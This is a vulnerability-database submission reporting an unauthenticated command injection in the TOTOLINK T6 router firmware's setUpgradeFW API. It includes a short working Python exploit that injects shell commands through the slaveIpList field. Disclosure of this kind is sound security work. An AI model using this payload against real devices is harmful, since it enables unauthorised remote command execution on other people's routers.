Submit #608377: TOTOLINK T6 V4.1.5cu.748 Command Injectioninfo

TitleTOTOLINK T6 V4.1.5cu.748 Command Injection
DescriptionUnauthenticated Command Injection Vulnerability in Endpoint "setUpgradeFW" An unauthenticated command injection vulnerability exists in the API endpoint setUpgradeFW due to improper sanitization of the slaveIpList parameter. The lack of input validation on this parameter allows an unauthenticated attacker to inject arbitrary system commands, which can then be executed on the server. Exploit code def execute_command(target_ip, cmd): http_sv = "http://%s/cgi-bin/cstecgi.cgi" % target_ip payload = ''' { "topicurl":"setUpgradeFW", "FileName":"asdf.bin", "slaveIpList":"a\\"; %s;\\"" } ''' % cmd res = requests.post(http_sv, data=payload) if res.status_code == 200: return True else: return False
Source⚠️ https://youtu.be/dqhrFgVR-YQ
User
 ElvisBlue (UID 87432)
Submission07/03/2025 11:38 (1 Year ago)
Moderation07/10/2025 09:26 (7 days later)
StatusDuplicate
VulDB entry193522 [TOTOLINK T6 4.1.5cu.748_B20211015 MQTT Packet setUpgradeFW command injection]
Points0

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!